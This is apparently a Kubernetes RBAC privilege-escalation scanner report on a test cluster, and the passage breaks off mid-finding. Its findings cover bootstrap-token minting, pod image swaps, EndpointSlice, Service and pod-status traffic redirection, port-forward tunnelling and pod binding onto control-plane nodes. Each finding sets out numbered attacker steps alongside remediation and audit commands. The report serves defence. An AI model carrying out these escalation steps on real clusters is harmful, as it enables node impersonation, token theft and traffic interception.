Subject ServiceAccount/privesc-fixtures/sa-secret-mint can create/update/patch secrets via ClusterRoleBinding crb-secret-mint → ClusterRole cr-secret-mint. Cluster-wide: applies to every current and future namespace. This cluster binds its bootstrap group to the kubelet client CSR auto-approval (system:certificates.k8s.io:certificatesigningrequests:nodeclient).

A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts <id>.<secret> as system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. Writing such a Secret with the kubeadm bootstrap group listed mints a token that may submit a kubelet client CSR for any node name, which the controller manager auto-approves. The Node authorizer then grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node.

A Secret write in kube-system is usually held by installers and backup tooling; here it is a node identity for the asking.

Impact Mint a bootstrap token, trade it for a kubelet client certificate naming any node, and act as that node toward the API server: the ServiceAccount tokens and referenced Secrets of every pod on it. The privesc graph reports the resulting path as KUBE-PRIVESC-PATH-NODE-IDENTITY.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueBootstrap token minting

A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

  1. Attacker confirms the write with kubectl auth can-i create secrets --as=sa-secret-mint -n kube-system.
  2. They create a Secret of type bootstrap.kubernetes.io/token in kube-system that lists the kubeadm bootstrap group in auth-extra-groups.
  3. Authenticating with the token, they submit a kubelet client CSR for a node name of their choosing; the controller manager approves and signs it.
  4. With the certificate they request tokens for that node's pods' ServiceAccounts and read the Secrets those pods reference.
Remediation
Keep Secret writes in kube-system to the control plane and the platform team, alert on new Secrets of type bootstrap.kubernetes.io/token, and expire or delete bootstrap tokens that are not in use.
  1. Drop create/update/patch on secrets in kube-system from ServiceAccount/privesc-fixtures/sa-secret-mint, or scope the grant with resourceNames to the Secrets it manages.
  2. Alert on Secrets of type bootstrap.kubernetes.io/token that kubeadm did not create: kubectl get secrets -n kube-system --field-selector type=bootstrap.kubernetes.io/token.
  3. List and expire tokens that are not needed: kubeadm token list then kubeadm token delete <id>; node joins should mint a short-lived token per join.
  4. Alert on kubelet client CSRs naming a node that is not in kubectl get nodes.
  5. Verify with kubectl auth can-i create secrets --as=sa-secret-mint -n kube-system returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbscreateget
create: Create new objects of this resource
Source rolecr-secret-mint
Inspect: kubectl get clusterrole cr-secret-mint -o yaml
Source bindingcrb-secret-mint
Inspect: kubectl get clusterrolebinding crb-secret-mint -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-secret-mint",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-secret-mint",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get"
  ]
}
HIGH

Namespace imgswap-fixtures only update/patch on pods swaps container images inside running pods

KUBE-PRIVESC-034 1 subject Score 9.0

Affected subject

HIGH ServiceAccount/imgswap-fixtures/imgswap-patcher Namespace 9.0
Namespace imgswap-fixtures only update/patch on pods swaps container images inside running pods (ServiceAccount/imgswap-fixtures/imgswap-patcher)
Scope · Namespace Namespace imgswap-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-patcher Resource: RBACRule/imgswap-fixtures/imgswap-pod-patcher

Subject ServiceAccount/imgswap-fixtures/imgswap-patcher can update/patch core pods via RoleBinding imgswap-fixtures/imgswap-pod-patcher → Role imgswap-fixtures/imgswap-pod-patcher. Namespace imgswap-fixtures only.

A pod's spec is mostly immutable after creation, but the API server's pod update validation deliberately keeps a few fields writable on a live pod, and spec.containers[*].image and spec.initContainers[*].image are among them. Nothing in-tree checks who changed an image: the kubelet notices the new value on its next sync and restarts that container with the new image, inside the same pod sandbox. The replacement container inherits everything the pod already had: the mounted ServiceAccount token, the securityContext (including privileged), host namespaces, and every volume, hostPath included.

That makes a plain write verb on pods equivalent to pods/exec (KUBE-PRIVESC-004) and pods/ephemeralcontainers (KUBE-PRIVESC-013): the holder picks a running pod whose ServiceAccount, or whose pod spec, is more privileged than their own, and runs their own code in it. No workload controller reverts the change, because ReplicaSet, StatefulSet, and DaemonSet reconcile on pod labels and template hashes, not on the live container image. The verb is commonly granted for label and annotation patching (the built-in edit ClusterRole carries it, and so do many operator roles), which is why it is easy to overlook.

Impact Run attacker-chosen code inside any existing pod in Namespace imgswap-fixtures only, inheriting that pod's ServiceAccount token, securityContext, and host access, without any exec, attach, or ephemeral-container permission.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod image swap: code injection into a running pod

The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

  1. Attacker confirms the verb with kubectl auth can-i patch pods --as=imgswap-patcher -n imgswap-fixtures.
  2. They list running pods and their ServiceAccounts, and pick one whose identity or pod spec (privileged, hostPath, hostPID) is worth more than their own.
  3. They patch that pod's spec.containers[*].image to an image they control. The API server accepts the update because the image field is mutable on a live pod.
  4. The kubelet restarts the container with the new image. The attacker's code now runs with the pod's mounted ServiceAccount token and its securityContext, and continues from there as the pod's identity or, for a privileged pod, onto the node.
Remediation
Remove update/patch on pods from identities that only need to read pods or manage them through controllers; where label or annotation patching is required, add a ValidatingAdmissionPolicy that rejects image changes on pod UPDATE.
  1. Drop update/patch on pods from ServiceAccount/imgswap-fixtures/imgswap-patcher. Controllers and deploy tooling change pods by rewriting the owning workload's template, not the live pod, so almost no application identity needs this verb.
  2. Audit who else holds it: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]? | (.resources // [] | index("pods")) and ((.verbs // []) | map(. == "update" or . == "patch" or . == "*") | any)) | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect only edit, admin, and controller roles.
  3. Where a tool genuinely needs to patch pod labels or annotations, keep the verb but add a ValidatingAdmissionPolicy on pods UPDATE that denies the request when object.spec.containers.map(c, c.image) != oldObject.spec.containers.map(c, c.image) (and the same comparison for initContainers). No in-tree component changes a live pod's image, so the policy can apply to every non-admin user.
  4. Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so that code injected into a co-tenant pod does not yield a powerful token.
  5. Verify with kubectl auth can-i patch pods --as=imgswap-patcher -n imgswap-fixtures returning no.
Evidence
ScopeNamespace
Namespaceimgswap-fixtures
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbsgetlistpatch
patch: Mutate existing objects in place
Source roleimgswap-pod-patcher
Inspect: kubectl get role imgswap-pod-patcher -n imgswap-fixtures -o yaml
Source bindingimgswap-pod-patcher
Inspect: kubectl get rolebinding imgswap-pod-patcher -n imgswap-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "imgswap-fixtures",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "imgswap-pod-patcher",
  "source_binding_kind": "RoleBinding",
  "source_role": "imgswap-pod-patcher",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "patch"
  ]
}
HIGH

Namespace hookbackend-fixtures only write on endpointslices lets ServiceAccount/hookbackend-fixtures/hookbackend-slicer steer Service traffic

KUBE-PRIVESC-021 1 subject Score 8.8
MITRE ATT&CK: T1557T1078.004

Affected subject

HIGH ServiceAccount/hookbackend-fixtures/hookbackend-slicer Namespace 8.8
Namespace hookbackend-fixtures only write on endpointslices lets ServiceAccount/hookbackend-fixtures/hookbackend-slicer steer Service traffic
Scope · Namespace Namespace hookbackend-fixtures only
Category: Lateral Movement Subject: ServiceAccount/hookbackend-fixtures/hookbackend-slicer Resource: RBACRule/hookbackend-fixtures/hookbackend-slicer

Subject ServiceAccount/hookbackend-fixtures/hookbackend-slicer can create/update/patch endpointslices (discovery.k8s.io) via RoleBinding hookbackend-fixtures/hookbackend-slicer → Role hookbackend-fixtures/hookbackend-slicer. Namespace hookbackend-fixtures only.

A Service's backends are the EndpointSlices that carry its kubernetes.io/service-name label. kube-proxy consumes every such slice whatever its endpointslice.kubernetes.io/managed-by label says, and the EndpointSlice controller reconciles only the slices it manages. A slice the holder adds therefore survives and takes its share of the Service's traffic: the Service's clients resolve the same name, and part of their connections reach addresses the holder chose.

Outside kube-controller-manager and a few service meshes, nothing needs this verb.

The grant reaches hookbackend-fixtures, which hosts a Service the API server itself calls (an admission webhook backend or an aggregated API server). Steering that Service, and presenting its serving certificate, puts the holder in the API server's request path; see KUBE-PRIVESC-038 for the pairing.

Impact Redirect part of any Service's traffic in Namespace hookbackend-fixtures only to addresses the subject chooses, capturing or altering what the Service's clients send.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueEndpointSlice write: Service traffic steering

A Service's backends are the EndpointSlices that carry its kubernetes.io/service-name label. kube-proxy consumes every such slice whatever its managed-by label says, and the EndpointSlice controller reconciles only the slices it manages itself. A slice an attacker creates therefore survives and takes its share of the Service's traffic.

Clients resolve the Service name as before, and part of their connections reach addresses the attacker chose. Outside kube-controller-manager and a few service meshes, nothing needs this verb.

  1. Attacker confirms the verb with kubectl auth can-i create endpointslices --as=hookbackend-slicer -n hookbackend-fixtures.
  2. They pick a Service whose clients carry something valuable and create an EndpointSlice labelled with that Service's name, listing an address they control. kube-proxy adds it to the Service's backends.
  3. Clients of the Service now reach the attacker for a share of their requests.
Remediation
Remove write access to endpointslices from every identity that is not kube-controller-manager or a known mesh control plane, and alert on an EndpointSlice whose managed-by label is not the EndpointSlice controller.
  1. Drop create/update/patch on endpointslices from ServiceAccount/hookbackend-fixtures/hookbackend-slicer.
  2. Audit who else holds it: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "endpointslices") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'.
  3. Alert on EndpointSlices whose endpointslice.kubernetes.io/managed-by label is not endpointslice-controller.k8s.io.
  4. For Services whose clients carry credentials, require mutual TLS so a redirected backend cannot present the expected identity.
  5. Verify with kubectl auth can-i create endpointslices --as=hookbackend-slicer -n hookbackend-fixtures returning no.
Evidence
ScopeNamespace
Namespacehookbackend-fixtures
API groupsdiscovery.k8s.io
Resourcesendpointslices
Verbsgetlistcreate
create: Create new objects of this resource
Source rolehookbackend-slicer
Inspect: kubectl get role hookbackend-slicer -n hookbackend-fixtures -o yaml
Source bindinghookbackend-slicer
Inspect: kubectl get rolebinding hookbackend-slicer -n hookbackend-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "discovery.k8s.io"
  ],
  "namespace": "hookbackend-fixtures",
  "resource_names": null,
  "resources": [
    "endpointslices"
  ],
  "scope": "namespace",
  "source_binding": "hookbackend-slicer",
  "source_binding_kind": "RoleBinding",
  "source_role": "hookbackend-slicer",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "create"
  ]
}
HIGH

Namespace hookbackend-fixtures only update/patch on services lets ServiceAccount/hookbackend-fixtures/hookbackend-operator re-point Service traffic

KUBE-PRIVESC-022 1 subject Score 8.5
MITRE ATT&CK: T1557T1078.004

Affected subject

HIGH ServiceAccount/hookbackend-fixtures/hookbackend-operator Namespace 8.5
Namespace hookbackend-fixtures only update/patch on services lets ServiceAccount/hookbackend-fixtures/hookbackend-operator re-point Service traffic
Scope · Namespace Namespace hookbackend-fixtures only
Category: Lateral Movement Subject: ServiceAccount/hookbackend-fixtures/hookbackend-operator Resource: RBACRule/hookbackend-fixtures/hookbackend-operator

Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator can update/patch services via RoleBinding hookbackend-fixtures/hookbackend-operator → Role hookbackend-fixtures/hookbackend-operator. Namespace hookbackend-fixtures only.

A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the holder controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the holder's choosing. Clients resolve the same name and connect to the new backend.

The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected and not reported. The grant reaches hookbackend-fixtures, which hosts a Service the API server itself calls (an admission webhook backend or an aggregated API server). Re-pointing that Service, and presenting its serving certificate, puts the holder in the API server's request path; see KUBE-PRIVESC-038 for the pairing.

Impact Redirect the traffic of Services in Namespace hookbackend-fixtures only to backends the subject chooses, capturing or altering what their clients send.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueService rewrite: re-pointing a Service

A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

  1. Attacker confirms the verb with kubectl auth can-i patch services --as=hookbackend-operator -n hookbackend-fixtures.
  2. They pick a Service whose clients carry something valuable and change its selector to match a pod they run, or its type to ExternalName pointing at a host they control.
  3. The controller republishes the backends and the Service's clients connect to the attacker.
Remediation
Remove update/patch on services from cluster-wide grants and from every identity bound in a namespace that hosts a webhook or aggregated API backend.
  1. Drop update/patch on services from ServiceAccount/hookbackend-fixtures/hookbackend-operator where the grant is cluster-wide or lands in a control-plane backend namespace.
  2. Do not bind tenant, CI, or developer identities (nor the edit or admin ClusterRoles) in namespaces that host webhook or aggregated API backends; treat those namespaces like kube-system.
  3. For Services whose clients carry credentials, require mutual TLS so a redirected backend cannot present the expected identity.
  4. Verify with kubectl auth can-i patch services --as=hookbackend-operator -n hookbackend-fixtures returning no.
Evidence
ScopeNamespace
Namespacehookbackend-fixtures
API groupscore/v1
Resourcesservices
Verbsgetlistpatch
patch: Mutate existing objects in place
Source rolehookbackend-operator
Inspect: kubectl get role hookbackend-operator -n hookbackend-fixtures -o yaml
Source bindinghookbackend-operator
Inspect: kubectl get rolebinding hookbackend-operator -n hookbackend-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "hookbackend-fixtures",
  "resource_names": null,
  "resources": [
    "services"
  ],
  "scope": "namespace",
  "source_binding": "hookbackend-operator",
  "source_binding_kind": "RoleBinding",
  "source_role": "hookbackend-operator",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "patch"
  ]
}
MEDIUM

Cluster-wide pods/portforward access tunnels to internal services

KUBE-PRIVESC-015 1 subject Score 7.2
MITRE ATT&CK: T1090T1613T1078.004

Affected subject

MEDIUM ServiceAccount/privesc-fixtures/sa-portforward Cluster 7.2
Cluster-wide pods/portforward access tunnels to internal services (ServiceAccount/privesc-fixtures/sa-portforward)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Lateral Movement Subject: ServiceAccount/privesc-fixtures/sa-portforward Resource: RBACRule/cr-portforward

Subject ServiceAccount/privesc-fixtures/sa-portforward can create the pods/portforward subresource via ClusterRoleBinding crb-portforward → ClusterRole cr-portforward. Cluster-wide: applies to every current and future namespace.

Port-forward opens a tunnel from the attacker's machine, through the API server and kubelet, to an arbitrary TCP port on a target pod. It bypasses NetworkPolicy, Service-level access controls, and any ingress restriction, because the traffic rides the kubelet's streaming channel rather than the pod network. Anything the pod can reach on localhost (an admin port, an unauthenticated debug endpoint, a sidecar) becomes reachable by the holder.

This is primarily a lateral-movement and data-access primitive rather than a direct RBAC escalation: it gives network reach to internal services (databases, message queues, metadata proxies, the API of another component) that were assumed to be cluster-internal.

Impact Reach any TCP port on any pod in Cluster-wide from outside the cluster network, bypassing NetworkPolicy and Service controls (internal databases, admin consoles, sidecar APIs).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePort-forward to internal services

create on pods/portforward opens a tunnel from the attacker's machine, through the API server and kubelet, to any TCP port on a target pod. It bypasses NetworkPolicy and Service controls because the traffic rides the kubelet streaming channel, so internal-only services (databases, admin consoles, sidecar APIs) become directly reachable.

  1. Attacker confirms the verb with kubectl auth can-i create pods/portforward --as=sa-portforward -A.
  2. They identify a target pod exposing a sensitive port on localhost (a database, an unauthenticated admin endpoint, a metadata proxy).
  3. They open a tunnel: kubectl port-forward pod/<target> 5432:5432.
  4. They connect to localhost:5432 and interact with the internal service directly, with no NetworkPolicy in the path.
  5. They exfiltrate data or pivot deeper using credentials harvested from the exposed service.
Remediation
Remove create on pods/portforward from application identities; reserve it for a small operator group and enforce NetworkPolicy on sensitive workloads regardless.
  1. Audit who holds port-forward rights: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/portforward"))'.
  2. Remove the verb from application/CI identities. Port-forward is a human-debugging convenience, not a workload permission.
  3. Add authentication to internal services (do not rely on network position) and enforce NetworkPolicy so a tunnel into one pod does not expose the whole namespace.
  4. Verify with kubectl auth can-i create pods/portforward --as=sa-portforward -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods/portforward
pods/portforward: Tunnel arbitrary TCP into the cluster network
Verbscreate
create: Create new objects of this resource
Source rolecr-portforward
Inspect: kubectl get clusterrole cr-portforward -o yaml
Source bindingcrb-portforward
Inspect: kubectl get clusterrolebinding crb-portforward -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods/portforward"
  ],
  "scope": "cluster",
  "source_binding": "crb-portforward",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-portforward",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
MEDIUM

Namespace statusspoof-fixtures only update/patch on pods/status lets ServiceAccount/statusspoof-fixtures/statusspoof-writer redirect Service traffic

KUBE-PRIVESC-036 1 subject Score 6.5
MITRE ATT&CK: T1557T1078.004T1090

Affected subject

MEDIUM ServiceAccount/statusspoof-fixtures/statusspoof-writer Namespace 6.5
Namespace statusspoof-fixtures only update/patch on pods/status lets ServiceAccount/statusspoof-fixtures/statusspoof-writer redirect Service traffic
Scope · Namespace Namespace statusspoof-fixtures only
Category: Lateral Movement Subject: ServiceAccount/statusspoof-fixtures/statusspoof-writer Resource: RBACRule/statusspoof-fixtures/statusspoof-status-writer

Subject ServiceAccount/statusspoof-fixtures/statusspoof-writer can update/patch the pods/status subresource via RoleBinding statusspoof-fixtures/statusspoof-status-writer → Role statusspoof-fixtures/statusspoof-status-writer. Namespace statusspoof-fixtures only.

pods/status is the kubelet's write: it is where a pod's podIPs are reported, and the EndpointSlice controller derives every Service's backends from that field. The API server's status validator checks only that each address is well-formed, and the NodeRestriction admission plugin constrains node callers only, so a non-node holder of this verb can set any pod's IP to any address. The Services that select the pod follow within a second, through the EndpointSlice and kube-proxy's rules, and their clients, bearer tokens included, connect to the new address. The pod's own kubelet writes the real IP back on its next status sync (about 10 seconds), so the position has to be re-asserted, except for a pod that has no node: nothing corrects its status, and a Service with publishNotReadyAddresses: true publishes it as a ready backend indefinitely.

Outside the kubelet, the verb belongs to a short list of core controllers (the scheduler, the node and disruption controllers, garbage collection). An application identity holding it is a traffic-interception primitive against every Service in its scope, and against an admission webhook or aggregated API backend it is admission bypass or API-server credential capture.

Impact Redirect the traffic of any Service in Namespace statusspoof-fixtures only that selects a pod the subject can write, capturing or altering what its clients send. The privesc graph joins this grant with the Services whose selectors match a live pod in scope and reports the result as a path to the traffic_intercept sink.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod status rewrite: Service traffic redirection

A Service's backends are not configured anywhere: the EndpointSlice controller derives them from the podIPs that selected pods report in their status. That status is an ordinary API subresource, pods/status. The API server checks only that each address is well-formed, and the NodeRestriction plugin constrains node callers only, so a non-node subject with update or patch on it can give any selected pod any IP.

The Service follows within a second: the EndpointSlice is republished and kube-proxy re-points its rules. Clients resolve the Service name as before and connect to the attacker, bearer tokens and all. The pod's kubelet writes the real IP back on its next sync (about 10 seconds), so the attacker keeps re-writing it, unless the Service publishes not-ready addresses and the pod has no node, in which case nothing ever corrects it. Against a webhook or aggregated-API backend, the clients are the API server itself.

  1. Attacker confirms the verb with kubectl auth can-i patch pods/status --as=statusspoof-writer -n statusspoof-fixtures.
  2. They pick a Service whose clients carry something valuable (an internal API, a webhook backend, a database proxy) and a live pod it selects.
  3. They write that pod's status with a podIP of a listener they control. The API server accepts it, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service.
  4. Clients of the Service now connect to the attacker, who reads or alters the requests and forwards them to the real backend. They repeat the write every few seconds to stay ahead of the kubelet's status sync, or pick a Service that publishes not-ready addresses for a pod no kubelet owns.
Remediation
Remove update/patch on pods/status from every identity that is not the kubelet or a core controller, and alert on status writes from identities that are not system:node:*.
  1. Drop update/patch on pods/status from ServiceAccount/statusspoof-fixtures/statusspoof-writer. No application needs to write pod status; a controller that does should run as its own ServiceAccount with the verb scoped by resourceNames where possible.
  2. Audit who else holds it: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and system:controller:* roles only.
  3. Add an audit alert on pods/status UPDATE and PATCH events whose user.username does not start with system:node:.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), require mutual TLS or an mTLS mesh so a redirected backend cannot present the expected identity.
  5. Verify with kubectl auth can-i patch pods/status --as=statusspoof-writer -n statusspoof-fixtures returning no.
Evidence
ScopeNamespace
Namespacestatusspoof-fixtures
API groupscore/v1
Resourcespods/status
Verbspatch
patch: Mutate existing objects in place
Source rolestatusspoof-status-writer
Inspect: kubectl get role statusspoof-status-writer -n statusspoof-fixtures -o yaml
Source bindingstatusspoof-status-writer
Inspect: kubectl get rolebinding statusspoof-status-writer -n statusspoof-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "statusspoof-fixtures",
  "resource_names": null,
  "resources": [
    "pods/status"
  ],
  "scope": "namespace",
  "source_binding": "statusspoof-status-writer",
  "source_binding_kind": "RoleBinding",
  "source_role": "statusspoof-status-writer",
  "source_role_kind": "Role",
  "verbs": [
    "patch"
  ]
}
MEDIUM

Namespace hookbackend-fixtures only create pods/binding lets ServiceAccount/hookbackend-fixtures/podbind-scheduler act as the scheduler and place pods on any node

KUBE-PRIVESC-030 1 subject Score 5.5
MITRE ATT&CK: T1610T1611T1078.004

Affected subject

MEDIUM ServiceAccount/hookbackend-fixtures/podbind-scheduler Namespace 5.5
Namespace hookbackend-fixtures only create pods/binding lets ServiceAccount/hookbackend-fixtures/podbind-scheduler act as the scheduler and place pods on any node
Scope · Namespace Namespace hookbackend-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/podbind-scheduler Resource: RBACRule/hookbackend-fixtures/podbind-scheduler

Subject ServiceAccount/hookbackend-fixtures/podbind-scheduler can create the pods/binding subresource (or the legacy bindings resource) via RoleBinding hookbackend-fixtures/podbind-scheduler → Role hookbackend-fixtures/podbind-scheduler. Namespace hookbackend-fixtures only.

This is the write kube-scheduler makes to place a pod. The API server's binding handler validates only that the target is a Node with a name, refuses pods that are already assigned, being deleted, or scheduling-gated, and then sets spec.nodeName. It does not re-run node selectors, affinity, topology spread, resource fit, or taint tolerations; those live in the scheduler the request bypasses. The kubelet that receives the pod re-checks resource fit, node affinity, nodeName, and host ports before admitting it, but among taints only NoExecute, so a NoSchedule taint, including the one that keeps tenant pods off control-plane nodes, does not stop the bind.

The subject holds no pod-creation route of its own in this snapshot, so the primitive applies to pods other identities create: it can pin them onto a chosen node, or keep them pending by binding them to a node that cannot run them.

The verb is held by system:kube-scheduler and by custom schedulers; application identities almost never need it.

Impact Place any pending pod in Namespace hookbackend-fixtures only on any node of the subject's choosing, bypassing node selectors, affinity, and NoSchedule taints. Paired with pod creation, this is control-plane co-residency on demand.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod binding: acting as the scheduler

The pods/binding subresource (and the legacy bindings resource) is the write kube-scheduler makes to place a pod: it sets spec.nodeName. The API server validates only that the target is a named Node, so a subject holding create on it places any pending pod on any node without the scheduler's checks. The kubelet still re-checks resource fit, node affinity, nodeName, and host ports, so the bind cannot overcommit a node, but taints with the NoSchedule effect only steer the scheduler; the kubelet enforces NoExecute alone.

The control-plane taint is NoSchedule, so a direct bind puts a tenant pod next to the API server's static pods and PKI directory. Paired with pod creation, that is control-plane co-residency on demand, which turns a later host escape from the pod into control-plane access.

  1. Attacker confirms the verb with kubectl auth can-i create pods/binding --as=podbind-scheduler -n hookbackend-fixtures.
  2. They pick a pending pod (their own, if they can create one with schedulerName set to a scheduler that does not exist, so nothing else binds it first) and a target node, typically a control-plane node.
  3. They post a Binding for that pod naming the node. The API server sets spec.nodeName without consulting the scheduler's constraints, and the kubelet starts the pod because the control-plane taint is NoSchedule, which the kubelet does not enforce.
  4. The pod now shares a node with the API server's static pods and its PKI directory; any host escape from it lands on the control plane.
Remediation
Remove create on pods/binding and bindings from every identity that is not a scheduler; where a custom scheduler needs it, bind it to a dedicated ServiceAccount and keep that ServiceAccount off pod creation.
  1. Drop create on pods/binding and bindings from ServiceAccount/hookbackend-fixtures/podbind-scheduler. Only kube-scheduler and purpose-built schedulers place pods.
  2. Audit who else holds it: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("^(pods/binding|bindings)$")) | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:kube-scheduler and your custom scheduler's role, nothing else.
  3. Treat control-plane isolation as a taint-plus-authorization property, not a taint alone: a NoSchedule taint only steers the scheduler, so pair it with a ValidatingAdmissionPolicy on pods/binding CREATE that denies a target node carrying the node-role.kubernetes.io/control-plane label for any user other than the scheduler.
  4. Verify with kubectl auth can-i create pods/binding --as=podbind-scheduler -n hookbackend-fixtures returning no.
Evidence
ScopeNamespace
Namespacehookbackend-fixtures
API groupscore/v1
Resourcespods/binding
Verbscreate
create: Create new objects of this resource
Source rolepodbind-scheduler
Inspect: kubectl get role podbind-scheduler -n hookbackend-fixtures -o yaml
Source bindingpodbind-scheduler
Inspect: kubectl get rolebinding podbind-scheduler -n hookbackend-fixtures -o yaml
source_binding_kind
